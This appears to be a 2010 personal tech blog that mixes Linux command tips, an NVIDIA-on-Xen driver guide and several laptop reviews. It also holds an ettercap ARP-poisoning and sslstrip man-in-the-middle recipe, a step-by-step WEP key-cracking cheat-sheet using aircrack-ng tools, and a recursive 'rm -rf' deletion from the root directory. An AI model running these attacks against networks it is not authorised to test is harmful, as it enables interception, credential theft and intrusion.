bash> vlc v4l2:// --vout=dummy --aout=dummy --intf=dummy --video-filter=scene --scene-format=png --scene-ratio=25 --scene-width=384 --scene-height=288 --run-time=1 --scene-prefix=frame --scene-path=/path/vlc-capture/ vlc://quit

Convert png to gd2 for nagios:

bash> pngtogd2 image.png image.gd2 0 1;

0 = chunk size

1 = no compression (raw)

Ettercap arp mitm between gw and target and save traffic to a file:

bash> ettercap -Tq -M arp -i eth0 -w traffic.out /1.1.1.1/ /2.2.2.2/;

-T = text

-q = quiet

-i = interface

-w = file

/1.1.1.1/ = gw

/2.2.2.2/ = target

sslstrip

1. bash> echo "1" > /proc/sys/net/ipv4/ip_forward; # enable IP forwarding

2. bash> iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000; # redirect all tcp traffic from port 80 to localhost port 10000 (to sslstrip)

3. run sslstrip

4. bash> ettercap -T -M arp -i eth0 -o /1.1.1.1/ /2.2.2.2/; # perform arp poisoning only

Find

bash> find / -name -exec ls -l '{}' ';'

bash> find / -name -exec ls -l {} \;

bash> find / -type f -mtime +4w -exec rm -rf {} \; # delete all files older than 4 weeks

bash> find / -name -exec cat {} >>out \; # output content of found files to file out

bash> tar cf archive.tar $(find . -name myfiles*); # tar all myfiles found into archive.tar

SSH: Socks proxy over ssh

bash> ssh -C -D 1080 user@host

set browser to use 127.0.0.1:1080 as socks server and all web traffic will be going through the ssh tunnel

pppd

bash> pppd noauth 192.168.0.1:192.168.0.2 pty 'ssh user@host -t "pppd noauth"';

this will create a ppp tunnel with IPs 192.168.0.1:192.168.0.2 between localhost and host you ssh into

sed

#search for 'PATTERN ABC' and return 'ABC'

bash> VAL=`sed -n 's/.*PATTERN $[A-Z][A-Z][A-Z]$.*/\1/p' test.txt`;

# group needed match with () then reuseit with \1 OR reuse entire match with &

bash> sed 's/text$[A-Z].*$text/\1/' test.txt;

example: if test.txt contains textHELLOtext, running the above command will output: HELLO or textHELLOtext if you use & instead of \1

grep

# find text across multiple lines with regex - (?s) makes .* match new lines

bash> grep -Pz -o '(?s)PAT1.*PAT2'

perl

# remove text across multiple lines with regex - /s makes .* match new lines

bash> perl -0777 -pi -e 's/PAT1.*PAT2//s' test.txt

Exiftool: Increment dates by 1 year
bash> exiftool "-alldates-=1:00:00 00:00:00" picture.jpg

nvidia driver for gentoo xen host

2010-10-07T12:44:00.005-04:00

This is how to get the official nvidia driver working on a Xen host.

xen-4.0.0
gentoo xen-sources-2.6.34-r3 kernel
non-xen 2.6.34.1 vanilla kernel
nvidia-drivers-173.14.27

Thanks to this (original but outdated) article: http://legroom.net/2008/06/22/running-binary-nvidia-drivers-under-xen-host

You need a non-xen kernel to compile the drivers. I used vanilla 2.6.34.1

1. Boot into the xen kernel

uname -a

Linux motoko 2.6.34-xen-r3 #5 SMP Thu Oct 7 11:30:18 EDT 2010 x86_64 Intel(R) Xeon(R) CPU X5355 @ 2.66GHz GenuineIntel GNU/Linux

2. Have /usr/src/linux point to the non-xen kernel

ls -l /usr/src/linux

lrwxrwxrwx 1 root root 19 Oct  7 11:58 /usr/src/linux -> linux-2.6.34.1

3. Build the nvidia-drivers package

emerge =nvidia-drivers-173.14.27

NOTE: nvidia-drivers-195.36.31 does NOT WORK for me

4. Extract the content of the nvidia-drivers package

cd /usr/local/src

bash /usr/portage/distfiles/NVIDIA-Linux-x86_64-173.14.27-pkg2.run -a -x

5. Build the nvidia.ko kernel module

cd NVIDIA-Linux-x86_64-173.14.27-pkg2/usr/src/nv

IGNORE_XEN_PRESENCE=y make SYSSRC=/usr/src/linux module

insmod nvidia.ko

Here's what dmesg shows:

nvidia: module license 'NVIDIA' taints kernel.

Disabling lock debugging due to kernel taint

nvidia 0000:07:00.0: PCI INT A -> GSI 16 (level, low) -> IRQ 16

nvidia 0000:07:00.0: setting latency timer to 64

vgaarb: device changed decodes: PCI:0000:07:00.0,olddecodes=io+mem,decodes=none:owns=io+mem

NVRM: loading NVIDIA UNIX x86_64 Kernel Module  173.14.27  Wed Jul 14 13:01:46 PDT 2010

6. Change /usr/src/linux to point back to linux-2.6.34-xen-r3

ls -l /usr/src/linux

lrwxrwxrwx  1 root root       19 Oct  7 11:58 linux -> linux-2.6.34-xen-r3

7. startx

Please post comments if you get it to work with any other nvidia-drivers versions.

Fujitsu U820 review

2010-08-28T17:57:00.010-04:00

specs | design | performance | in the box | conclusion

Quick specs

Intel Atom Z530 1.6GHz
1x1GB RAM DDR2 @ 533MHz
1.8" 60GB HDD
Intel GMA 500 videocard
5.6" 8:5 aspect touch-screen (1280x800) w/ 0.3MP webcam and fingerprint scanner
802.11 BGN wifi + bluetooth + gps
4-cell 5200mAh battery
Weight 1.32lb (0.6kg)

Details

Design
This is certainly a unique device and most design decisions come from the need to accomodate such a small form factor. It's well built and feels sturdy in your hand.

Ports and layout:
Because of the small size the laptop has a limited number of ports, all of them located on the sides. Obviously there is no optical drive.

On the right side we have: wireless/bluetooth switch, CF card slot, spring loaded power switch, AC
On the left side we have: mic, headphone, SD card slot, USB, kensington lock and volume control.

There is no network or VGA port on the laptop itself, instead it comes with a dongle that you connect in the front (in the port replicator). The stylus is housed in the screen bezel and slides up from the upper right corner.

The speaker is located above the keyboard on the left side next to the "mouse" buttons and provide medium sound quality. They're not very loud.

This model also has built in GPS. The navigation software offered is Garmin Mobile PC and has turn by turn directions. The usefulness of the GPS is questionable since the speakers aren't loud enough to be heard when driving around.

Display:
The laptop has a 5.6" LED glossy resistive touch-screen, with an uncommon 8:5 aspect ratio and a resolution of 1280x800. This resolution is too big for an 5.6" screen so things look a little small. Increasing the DPI to at least 125% solves the problem in windows (still not all applications are aware of this setting) but not when browsing the web. You will have to zoom in on most websites as the text initially is very hard to read. Above the screen there's a webcam with good video quality. Below the screen there are three special buttons - Zoom, Keyboard Light On/Off and Screen orientation toggle. In the lower right corner, there's an Alt button and the fingerprint scanner (used instead a password for logins). All these are there to facilitate when using the laptop in tablet mode and all work as expected. The screen looks bright and colorful offering medium horizontal and vertical viewing angles and being glossy you can use it as a mirror when dark surfaces are displayed.

Keyboard and touchpad:

This laptop does not have a touchpad. Instead it's got a pointing stick on the right side above the keyboard and two mouse buttons on the left side above the keyboard. To the left of the pointing stick there's 3 programmable buttons - Fn, Up and Down. The pointing stick can be frustrating at times and takes some getting used to. Luckily there's always the touchscreen.

The keyboard is quite small but given the form factor it's understandable. Some things aren't where you'd expect them to be and some keys are double mapped. Half of the function keys, the page-up/page-down/home/end/backslash keys and a few others require you to hold down the Fn key. The designers still managed to have a wide Enter and Space bar, but even so the layout takes some getting used to. The keyboard itself has got a solid fee with no flexing or bending of any kind.

Battery and AC adapter:
The battery this laptop came with was a 4-cell 5200mAh rated for 7.5 hours but a more realistic figure is about 5-6 hours. It does stick out the back but it doubles as a quite comfortable handle when in tablet mode. The AC adapter is small enough to be carried around easily as is the VGA/Network adapter dongle.

Performance
The computer came pre-installed with windows vista 32-bit. It's quite slow so i replaced it with windows 7 home premium 32-bit before i ran any of the benchmarks. It boots from power-on to login screen in 52 sec. Shut down takes 16 secs from clicking the button in the start menu to power-off. Going to sleep takes about 13 seconds and waking up - 5 seconds.

Windows experience index:

On AC power in "High Performance" profile - 2.3

Super PI for 1mil and 8mil (on AC power):

"High Performance" profile

CrystalDiskMark:

PCMark05:
On AC power in "High Performance" profile - 1147
On battery power in "High Performance" profile - 1146

3DMark06:

On AC power in "High Performance" profile - 44

On battery power in "High Performnce" profile - 43

Wi-fi speed (on AC power):

Tested on Asus RT-N16 b/g/n wireless router at a distance of 5 feet (2 meters).

On 802.11g it averages to 2.6MB/s - aprox. 40% link utilization

On 802.11n it averages to 9.5MB/s - aprox. 60% link utilization

Video playback:

Playback of a 720p h264 movie is almost possible out of the box. In a window it's running a bit slow, with skipped frames and some sound artifacts here and there but if full screen there's almost no skipping. It pushes both cores of the CPU to 100% but it's quite watchable.

CPU usage playing 720p

To really get silky smooth playback however you need K-Lite Codec Pack so you can use DirectX Video Acceleration (offload decoding to the videocard). Setting the output to "EVR Custom" and "D3D Fullscreen" in Media Player Classic allowed the video to play smoothly and completely lag-free.

CPU usage playing 720p with DirectX Video Acceleration

Playing a video on Hulu in the browser window was barely watchable skipping a second or two at times even though the CPU usage is not maxed out on both cores.

CPU usage playing Hulu in a the browser window

Full screen playback is better with less frequent skipping and a higher frame-rate but you can still notice it's not very smooth. It does use the CPU less.

CPU usage playing Hulu in full screen

Youtube 480p videos play ok with no skipping but at a noticeably low frame-rate.

CPU usage playing 480p Youtube

Finally Youtube 360p videos play nice and smooth.

CPU usage playing 360p Youtube

Hopefully when Flash starts using the videocard for rendering the CPU usage will drop to more manageable levels and the frame-rates will increase.

Compared to Sony VAIO P

What's in the box
Battery, AC adapter, power cord, VGA/network dongle, GPS antena, spare pointing stick cap, manual.

Pros
- very small and light
- good build quality
- touchscreen
- fingerprint scanner
- small power adapter
- good battery life

Cons
- high screen resolution, fonts too small at times (1280x800)
- small keyboard

Conclusion
The Fujitsu Lifebook U820 is the successor to the famous Lifebook U810 from a few years ago. The main design has not changed however most of the internal components have been upgraded to specs comparable to those of standard netbooks these days but in a form factor half their size. This device is packed with features and it's got a battery life that will allow you to use it untethered for most of the day. The small screen/high resolution combination can be a challenge at times as well as the size and layout of the keyboard but compromises must be made when venturing into the realm of ultra-portability. Overall - a very impressive full featured computer.

Backtrack WEP cracking cheat-sheet

2010-05-02T12:41:00.011-04:00

Preparation

1. Stop the wireless adapter (wlan0):

airmon-ng stop wlan0

2. Change the MAC address:

macchanger --mac 00:11:22:33:44:55 wlan0

3. Start the wireless adapter:

airmon-ng start wlan0

This will create a mon0 interface that is used from now on.

Attack

1. Identify the MAC address (BSSID), channel (CH) and name (ESSID) of the target network:

airodump-ng mon0

2. Start the packet capture:

airodump-ng -c [channel] -w /tmp/capture --bssid [bssid] mon0

  

3. Associate with the AP (in another terminal window):

aireplay-ng -1 0 -a [bssid] -h 00:11:22:33:44:55 -e [essid] mon0

If this succeeds, you should see something like:

Sending Authentication Request (Open System) [ACK]

Authentication successful

Sending Association Request [ACK]

Association successful :-) (AID: 1)

4. Start injecting packets to speed things up (in another terminal window):

airplay-ng -3 -b [bssid] -h 00:11:22:33:44:55 mon0 

Check the packet capture window, the #Data field should be increasing now. Once enough packets are captured you can proceed to cracking the key. You should run the cracking in parallel with the packet capturing, that way you can just keep gathering data if the cracking process fails and try again later. I run the cracking command every 10k IVs starting at 20k IVs.

Cracking

Attempt to crack the key:

aircrack-ng -n 128 -b [bssid] /tmp/capture-01.cap

If cracking fails, try running it after you've capture 10k more packets.

HP Pavilion dv6t (NZ599AAR) review

2010-04-15T21:52:00.005-04:00

specs | design | performance | in the box | conclusion

Quick specs

Intel Core i7 Q720 1.6GHz

2x2GB DDR3 RAM @ 667MHz

2.5" 7200RPM 500GB SATA HDD

GeForce GT 230M w/ 1GB RAM

15.6" 16:9 LED (HP Brightview) screen (1366x768) w/ 1.3MP webcam

Intel 5100 802.11 AGN wifi

LightScribe Super Multi 8X DVDRW w/Double Layer

8800MAh 95Wh battery

Weight 6.34lb (2.87kg)

Details

Design
The HP laptops in the Pavilion series all have pretty much the same design. The laptop is well built and feels solid all over. It's got the trademark HP engravings on the cover and on the palm rest and it looks really nice.

Ports and layout:
The laptop has all its ports on the sides and personally i consider that a design flaw on a desktop replacement such as this. Most things that get cables plugged into them (usb, network, power, video, etc.) should be on the back because when you have all of them connected everything just looks more organized. Being constricted on 1 side (back) is better than being constricted on 2 (left and right).

On the right side we have: optical drive, 2 USBs, kensington lock and AC. Placing the optical drive on the right side of a laptop is not a wise choice. Most people are right handed and when using an external mouse you have to move it out of the away when inserting or ejecting a disk. It should be on the left side in my opinion.

On the left side we have: VGA, expansion port, network, HDMI, USB/e-SATA port, another USB, 1394a, SD/MMC/MS Card Reader and 54mm Express Card slot. I think the VGA port has outlived its usefulness and should be replaced at least by a DVI port.

The mic in and headphone jacks are located on the front right side of the laptop. The speakers are placed above the keyboard and provide good sound quality.

Display:
The laptop has a 15.6" LED (HP Brightview) glossy screen, 16:9 aspect ratio and a resolution of 1366x768. On top it has a 1.3MP webcam with good video quality and 2 microphones. The screen looks bright and colorful offering good viewing angles but being glossy you can use it as a mirror when dark surfaces are displayed.

This is how bright the screen is compared to a Dell XPS-1645 (on the left) that has a RGBLED display, both on maximum brightness:

Keyboard and touchpad:

The touchpad is medium in size with 2 large buttons on it and a scroll area on the right side. There's also a button above it that disables it completely, presumably for gaming when you're using an external mouse. As with all consumer HP laptops these days, the touchpad is super-glossy and sticky so it's very hard to use (good luck dragging-and-dropping). I don't know why HP keeps using them as this is the laptop's biggest flaw.

The keyboard is solid with large easy-to-type matte keys. As you can see it's even got a numpad. The layout is good with separated directional buttons but i wish they were bigger.

Battery and AC adapter:
The laptop came with a 8800MAh 95Wh battery. I don't know if it's a 9-cell or 12-cell but HP claims a 6-cell would lasts 4.5 hours. I highly doubt these numbers as the specs on this laptop will probably burn through the battery in a few hours at most in high performance mode. As you can see in the pictures the battery sticks out and raises the back of the laptop almost an inch off the table.

The power adapter is quit big too, definitely not the most portable one.

Performance
The laptop comes with windows 7 home premium 64-bit. Out of the box, it's quite fast. It boots from power-on to login screen in 42 sec. Shut down takes 11 seconds from clicking the button to power-off. Going to sleep takes 5 seconds and waking up - 2 seconds. The OS and all the bundled software take about 27gigs and the recovery partition is 13gigs.

Windows experience index:

On AC power in "High Performance Mode" - 5.9

Super PI for 1mil and 8mil (on AC power):

CrystalDiskMark:

PCMark05:
On AC power in "High Performance" profile - 7065
On battery power in High Performance" profile - 7072

3DMark06:

On AC power in "High Performance" profile - 6792

On battery power in "High Performnce" profile - 6810

Wi-fi speed (on AC power):
Tested on Asus RT-N16 b/g/n wireless router at a distance of 5 feet (2 meters).

On 802.11g it averages to 1.8MB/s - aprox. 30% link utilization

On 802.11n it connects at 144Mbps and averages to 10.1MB/s - aprox. 65% link utilization

What's in the box
Battery, AC adapter, manuals.

Pros
- great specs
- great bright screen
- solid matte keyboard with numpad
- good build quality

Cons
- low resolution (1366x768) glossy screen
- very sticky hard to use touchpad
- big power adapter

Conclusion

HP has been making consumer laptops like this for a few good years now. They stick with their proven unique design and upgrade to the latest and greatest components. The end result is a fast and solid computer that should provide great performance for any type of activity, gaming included.

Toshiba Portable Hard Drive (HDDR640E04XR) review

2010-03-11T21:21:00.003-05:00

I got my hands on this 2.5" 640GB USB 2.0 external hard drive and thought i'd write a quick review on it.

Here are the main points:

USB powered
Internal shock sensor
Backup software (with optional 256-Bit AES encryption)
Size 3.19" x 0.65" x 5" (81.026mm x 16.5mm x 127mm)
Weight 6oz (170g)

The case is glossy plastic with a mini-usb port on the side, a white activity led on the top and two rubber strips on the bottom that serve as feet.

It's compatible with PC and Mac and comes with backup software for both, though complete system backup is supported only on Windows. The software is on the drive itself, there are no CDs. It's simple and easy to use. Here's how it looks on Windows:

You can backup files and folders as well as your entire system. You do the latter either directly to the hard drive or to a CD/DVD. If you do it to the hard drive it makes it bootable which is quite convenient. Booting from the drive offers you a simple recovery window where you can select what restore point you want to use.

The actual size of the disk is 596GB and it comes pre-formated with FAT32. You can convert it to NTFS without loosing the backup software via a wizard that runs the first time you plug the drive in.

Finally, the moment of truth - CrystalDiskMark:

Overall it's a nice little disk to carry around, if it only were a bit faster.

Sony VAIO P review (VGN-P699E)

2010-03-10T23:24:00.083-05:00

specs | design | performance | in the box | conclusion

Quick specs

Intel Atom Z540 1.86GHz
1x2GB RAM DDR2 @ 533MHz
Samsung 1.8" 256GB SSD HDD
Intel GMA 500
8" 25:12 aspect LED screen (1600x769) w/ 0.3MP webcam
Atheros AR928x 802.11 BGN wifi + bluetooth + gps
2-cell 2100mah 16Wh battery
Weight 1.5lb (0.7kg)

Details

Design
Sony laptops are designed usually fairly well and this one is no exception. It's solidly built, very light and thin, glossy all over with a mate keyboard.

Ports and layout:
Because of the small size the laptop has a limited number of ports, all of them on the sides except for the SD card and Memory Stick slots which are in the front. There is no optical drive.

On the right side we have: 1 USB and the VGA/Network adapter port.
On the left side we have: AC, 1USB and headphone jack.

In the front we have: wireless on/off switch, SD card slot, Memory Stick SG Duo slot and spring loaded Power switch.

The speakers are located above the keyboard in the left and right corner and provide medium sound quality. They're not very loud.

This model also has the Verizon Wireless Mobile Broadband (use your data-plan for internet access) and built in GPS. The navigation software offered is Microsoft Streets and Trips but you can use a number of other programs available, Garmin Mobile PC being one of the better ones out there. The usefulness of the GPS is questionable however since the computer does not have a touchscreen nor are the speakers loud enough to be heard in a car.

Display:
The laptop has a 8" LED glossy screen, with an uncommon 25:12 aspect ratio and a resolution of 1600x768. This resolution is too big for an 8" screen so things look a little small. Increasing the DPI to at least 125% solves the problem in windows (still not all applications are aware of this setting) but not when browsing the web. You will have to zoom in on most websites as the text initially is very hard to read. A more traditional aspect ratio would've provided a much better browsing experience with far less scrolling. In the upper right corner of the screen there's a webcam with good video quality. The screen looks bright and colorful offering medium horizontal and vertical viewing angles and being glossy you can use it as a mirror when dark surfaces are displayed. This is how far it will open:

Keyboard and touchpad:

This laptop does not have a touchpad. Instead it's got a pointing stick in the middle of the keyboard and three mouse buttons on the bottom of the keyboard. The pointing stick can be frustrating at times and takes some getting used to.

The keyboard is excellent for on such a small laptop. It's surprisingly large and comfortable to type on. The layout is good with big well spaced keys. Most things are where you'd expect them to be. It's got a solid fee with no flexing or bending of any kind.

Battery and AC adapter:
This is the laptop's weakest point. The standard battery is a weak 2-cell 2100mah 16Wh rated for 3.5 hours but a more realistic figure is about 2 hours. It does not stick out however and the AC adapter is one of the smallest i've seen. The VGA/Network adapter clips onto the battery so you don't loose it when carrying around.

Performance
This small ultra portable comes with a pretty useful feature that Sony calls an Instant Mode. It's an (almost) instant OS that offers basic things like browsing pictures, watching videos, a web browser, an IM client, Skype, etc. You boot into it by pressing the "Xross Media Bar" button when the computer is off and it takes about 16 seconds to load. It's called that because it uses the same type of user interface as the PSP and the PS3.

The computer came pre-installed with windows vista 32-bit. It's quite slow so i replaced it with windows 7 ultimate 32-bit before i ran any of the benchmarks. It boots from power-on to login screen in 30 sec. Shut down takes 10 secs from clicking the button in the start menu to power-off. Going to sleep takes a quick 4 seconds and waking up - only 2 seconds.

The laptop also has completely passive cooling so it's practically silent. It does get a little warm but nothing uncomfortable.

Windows experience index:

On AC power in "High Performance" profile - 2.5

Super PI for 1mil and 8mil (on AC power):

"High Performance" profile

CrystalDiskMark:

PCMark05:
On AC power in "High Performance" profile - 1794
On battery power in "High Performance" profile - 1805

3DMark06:

On AC power in "High Performance" profile - 60

On battery power in "High Performnce" profile - 60

Wi-fi speed (on AC power):

Tested on Asus RT-N16 b/g/n wireless router at a distance of 5 feet (2 meters).

On 802.11g it averages to 2.35MB/s - aprox. 40% link utilization

On 802.11n it connects at only 65Mbps and averages to 8MB/s - aprox. 95% link utilization

Video playback:

Playback of a 720p h264 movie proved to be difficult initially. However the latest K-Lite Codec Pack supports DirectX Video Acceleration (using the videocard to assist in decoding the video). Setting the output to "EVR Custom" and "D3D Fullscreen" in Media Player Classic allowed the video to play smoothly and almost lag-free.

CPU usage playing 720p with DirectX Video Acceleration

Playing a video on Hulu was not as good however. Full screen is very slow and even in a window, it starts smooth but soon after gets choppy and unwatchable.

CPU usage playing Hulu in a window

Youtube 480p videos aren't good either starting ok but getting choppy later on.

CPU usage playing 480p Youtube

Finally Youtube 360p videos play nice and smooth.

CPU usage playing 360p Youtube

Hopefully when Flash starts using the videocard for rendering these issues will be resolved.

Compared to Fujitsu U820

What's in the box
Battery, AC adapter, vga/network adapter, noise canceling headphones, cleaning cloth, two spare pointing stick caps, manual.

Pros
- excellent keyboard for such a small form factor
- "Instant Mode"
- passive cooling + SSD = completely silent
- good build quality
- small power adapter
- very thin and light

Cons
- high screen resolution, fonts too small at times (1600x768)
- no touchpad, frustrating pointing stick
- ultra wide glossy screen (25:12 aspect) with medium viewing angles
- very poor battery life

Conclusion
Sony has managed to pack an incredible amount of features into such a small device but i am unclear on what they were trying to do with it. The two basic things an ultra-portable needs to do well is offer good browsing experience and have long battery life. The VAIO P doesn't do either of those things well. While the specs and performance are above your typical netbook, the super-wide screen with its high resolution and a meager 2 hours of battery life simply kill the deal. It's great otherwise :)

Asus UL50-VT review

2010-03-08T22:20:00.012-05:00

specs | design | performance | in the box | conclusion

Quick specs

Intel Core2 Duo ULV SU7300 1.3GHz
2x2GB RAM DDR3 @ 533MHz
2.5" 5400RPM 500GB SATA HDD
GeForce G210M w/ 512MB RAM / Intel GMA 4500MHD
15.6" 16:9 LED screen (1366x768) w/ 0.3MP webcam
Atheros AR9285 802.11 BGN wifi
DVD-RW optical drive
8-cell 5600MAh 84Wh battery
Weight 5lb (2.4kg)

Details

Design
As with most Asus laptops the first impression is quite good. The laptop is well built and feels solid (except for the keyboard, see below). The top cover is made of brushed aluminum and looks very nice.

Ports and layout:
The laptop has all its ports on the sides and personally i consider that a design flaw. It's not that big of a deal on a portable laptop as it is on a workstation replacement tho. Most things that get cables plugged into them (usb, network, power, video, etc.) should be on the back because it's easier to manage and less cluttered when you have all of them connected.

On the right side we have: 1 USB, optical drive, network, VGA and kensington lock. I don't like having the optical drive on the right side because i'm right handed and when using an external mouse it gets in the way when inserting and ejecting a disc.

On the left side we have: AC, MMC/SD/MS Card Reader, HDMI, 2 USB, mic in and headphone jack.

The speakers are on the front of the laptop and provide good sound quality.

Display:
The laptop has a 15.6" LED glossy screen, 16:9 aspect ratio and a resolution of only 1366x768. On the top it has a 0.3MP webcam with medium quality and a mic. The screen looks bright and colorful offering very good horizontal viewing angles but being glossy you can use it as a mirror when dark surfaces are displayed. It can be challenging to view outdoors. This is how far it opens:

Keyboard and touchpad:

The multi-gesture touchpad is large in size with only one button, placed approximately two inches to the the left from center. It's as glossy as the palm rest area and has no edges around it. This makes it quite sticky and hard to move your finger around. Drag-and-drop is particularly difficult since not only the touchpad is sticky but you can easily move outside of it which makes whatever you were dragging drop. Edges around the touchpad and two buttons would be better.

The keyboard is large with well spaced and separated keys. The layout is good (even got a numpad) except for the arrow keys which could be bigger and placed better. Mechanically the keyboard is a bit mushy and flexes when typing on it. Certainly not as solid as the rest of this really well-built laptop.

Battery and AC adapter:
The laptop came with a 8-cell 5800MAh 84Wh battery rated for 11h30m. I doubt it would get that much with anything but the minimum load on but i haven't tested it. The battery does not stick out and the AC adapter is small enough to be carried around easily.

Performance

Perhaps the most interesting thing about this laptop is that it has two videocards. A discreet Nvidia GeForce G210M and an integrated Intel GMA 4500MHD. You can switch between the two on the fly by pressing the "GraphiX Boost" button (above the keyboard on the left) once you're in windows. The button toggles between three modes - "Power Savings Mode" (use integrated videocard), "High Performance Mode" (use discreet videocard) and "Auto Detect Mode".

Also interesting is that Asus encourages you to overclock the laptop for a little extra power. There's a widget on the desktop that allows you to raise the CPU speed from 1.3GHz to 1.7GHz and the RAM speed from 400MHz to 533Mhz just by flipping a virtual switch. They call it "Asus Turbo 33", hinting at the 33% speed increase i assume. Well put that number to the test below. Here's what CPU-Z shows when overclocked:

This laptop comes with Splashtop, another interesting feature, which Asus calls Express Gate. It's an (almost) instant linux OS that offers basic things like a web browser, an IM client, Skype, etc. You boot into it by pressing the "GraphiX Boost" button when the computer is off and it takes about 6 seconds to load.

The main OS is windows 7 home premium 64-bit. It boots from power-on to login screen in 32 sec. Shut down takes 10 seconds from clicking the button to power-off. Going to sleep takes 5 seconds and waking up - 2 seconds. The OS and all the bundled software take about 27gigs.

Windows experience index:

On AC power in "High Performance Mode" - 4.2

On AC power in "High Performance Mode" and overclocked - 4.9

Super PI for 1mil and 8mil (on AC power default and overclocked):

When overclocked (right) Super PI runs about 27% faster

PCMark05:

On AC power in "Power Savings Mode" and Intel graphics - 2473

On AC power in "High Performance Mode" and Nvidia graphics - 3726 (50% faster)

On AC power in "High Performance Mode" and Nvidia graphics overclocked - 4090 (10% faster)

On battery power in "High Performance Mode" and Nvidia graphics - 3441

Bottom line is that overclocking gives you only about 10% (not 33%) increase in overall computer performance that PCMark measures.

3DMark06:

On AC power in "High Performance Mode" - 3301

On AC power in "High Performance Mode" overclocked - 3425 (4% faster)

On battery power in "High Performance Mode" - 3301

As you can see, overclocking only provides a 4% increase in gaming performance that 3DMark measures. Note that 3DMark could not run at all in "Power Savings Mode" with the Intel videocard, complaining about the lack of D3D support.

Wi-fi speed (on AC power):
Tested on Asus RT-N16 b/g/n wireless router at a distance of 5 feet (2 meters).

On 802.11g it averages to 2.5MB/s - aprox. 40% link utilization

On 802.11n it connects at only 65Mbps and averages to 5.25MB/s - aprox. 70% link utilization

What's in the box
Battery, AC adapter, hand strap, factory restore cd, drivers cd, manual.

Pros
- 2 videocards, integrated and discreet
- "Express Gate" aka Splashtop (instant boot OS)
- easy to overclock with the desktop widget
- great build quality, aluminum top
- big touchpad
- small power adapter
- thin

Cons
- low screen resolution (1366x768)
- hard to use touchpad, sticky and edge-less
- mushy keyboard, flexes when typing
- glossy screen

Conclusion
Asus is trying to impress the the mobile computer enthusiast with this sleek laptop. It's got great innovative features like 2 videocards, one button overclocking and an instant boot OS. It's thin and really well built but disappoints when it comes to the screen resolution, less than solid keyboard and sticky touchpad.

Dell Studio XPS 1645 review

2010-02-27T10:56:00.024-05:00

specs | design | performance | in the box | conclusion

I got a new work laptop the other day and i thought i 'd share some of my thoughts.

Quick specs

Intel Core i7 Q820 1.73GHz

2x4GB DDR3 RAM @ 667MHz

Samsung PM800 2.5" 128gb SSD HDD

Radeon HD 4670 w/ 1GB RAM

16" 16:9 RGBLED screen (1920x1080) w/ 2MP webcam

Intel 5300 802.11 AGN wifi + bluetooth

8x DVD+/- RW optical drive

9-cell 85Wh battery

Weight 6.4lb (2.9kg)

Details

Design
The design of this laptop is mostly OK. Unlike most Dell laptops however, this one is surprisingly well built. And while it looks stylish and nice at first, it's also got some faults that later come to light, some bigger than others.

Ports and layout:
The laptop has all its ports on the sides and personally i consider that a major design flaw on a desktop replacement such as this. Most things that get cables plugged into them (usb, network, power, video, etc.) should be on the back because when you have all of them connected it's easier to move the laptop and less clutter. Being constricted on 1 side (back) is better than being constricted on 2 (left and right).

On the right side we have: 54mm Express Card slot, 8-in-1 Media Card Reader, 1394a port, slot-loading 8x DVD+/- RW drive, USB/e-SATA port and AC. I like the slot loading mechanism, especially for a laptop and i think more manufacturers should use them. Placing the optical drive on the right side of a laptop is not a wise choice tho. Most people are right handed and when using an external mouse you have to move it out of the away when inserting or ejecting a disk. It should go on the left side in my opinion.

On the left side we have: VGA, network, display port, HDMI, 2 USBs, mic in, and 2 headphone jacks. I think the VGA port has outlived its usefulness and should be replaced at least by a DVI port. Also having both display port and HDMI is pretty redundant. At least one more USB port would be nice, after all the laptop is most likely to be used as a desktop replacement and not a portable computer.

The speakers located on both sides of the keyboard and provide good sound quality.

Display:
The laptop has a 16" RGBLED edge-to-edge glossy screen, 16:9 aspect ratio and a resolution of 1920x1080. On top it has a 2MP webcam with good video quality and 2 microphones. The screen looks very bright and colorful offering very good horizontal viewing angles (and not as good vertical ones, especially when looking from below) but being glossy you can use it as a mirror when dark surfaces are displayed. It can be challenging to view outdoors. I don't like the fact that the display doesn't open past ~120 degrees:

This is how bright the screen is compared to an old Dell Precision M90 (on the left) both on maximum brightness:

Keyboard and touchpad:

The touchpad is medium in size with 2 large buttons on it, placed an inch or so to the left from center. It's semi-glossy, meaning it's not as glossy as the palm rest area but not matte either - your finger sticks to it a little bit. It's certainly not as a bad as HP laptops but completely matte would have been best. I would have liked a bigger (and centered) touchpad since there's clearly enough room for it between the keyboard and the edge of the laptop.

The back-light keyboard is big with large easy-to-type keys, however the layout is a bit weird. Dell made a bad design decision putting the speakers on the sides of the keyboard therefore limiting its width. This led to a crammed layout with an extra row of keys on the right and un-separated directional buttons. Had the speakers been above the keyboard or on the lower edge of the laptop, it could have accommodated a perfectly spaced layout, with all the buttons being where they're supposed to. The back-light has 3 settings - high, medium and off and here's how it looks in the dark on high:

Battery and AC adapter:
The laptop came with a 9-cell 85Wh battery rated for 4h51m. As you can see in the pictures it sticks out and raises the back of the laptop almost an inch off the table. A regular 6-cell battery would improve aesthetics greatly.

The power adapter that the laptop came with is a small one, rated for only 90W of power. There seems to be some issues with it not providing enough juice to run the laptop in high-performance mode, there's a lengthy discussion about it on Dell's forums. A regular 130W one is recommended. I've had a bit of a problem with the AC adapter. The center pin in the connector that goes into the laptop was bent, out of the box. I forced it in and broke it. Now it will keep the laptop running but will not charge the battery. Crappy Dell quality control :(

Performance
The laptop comes with windows 7 home premium 64-bit. Out of the box, it's quite fast. It boots from power-on to login screen in 28 sec. Shut down takes 7 seconds from clicking the button to power-off. The OS and all the bundled software take about 25gigs. After a clean reinstall that is reduced to 21gigs (8 of those are swap space).

Windows experience index:

On AC power in "High Performance" profile - 6.7

Super PI for 1mil and 8mil (on AC power):

One would think that (13 * 8) = 104 but one would be wrong :)

CrystalDiskMark and HD Tune Pro:

PCMark05:
On AC power in "High Performance" profile - 10819
On battery power in High Performance" profile - 9260 - that's 16% slower than AC

3DMark06:

On AC power in "High Performance" profile - 6792

On battery power in "High Performnce" profile - 5293 - that's 28% slower than AC

Wi-fi speed (on AC power):
Tested on Asus RT-N16 b/g/n wireless router at a distance of 5 feet (2 meters).

On 802.11g it averages to 2.35MB/s - aprox. 40% link utilization

On 802.11n it connects at 144Mbps and averages to 10.2MB/s - aprox. 60% link utilization

What's in the box
Battery, AC adapter, cloth pouch, windows 7 installation cd, drivers cd.

Pros
- great specs
- great edge-to-edge screen
- back-light keyboard
- slot loading optical drive
- relatively thin
- good build quality

Cons
- bad ergonomics (all ports on the sides, small touchpad, bad keyboard layout)
- only 3 USB ports
- glossy screen, doesn't open all the way

Conclusion
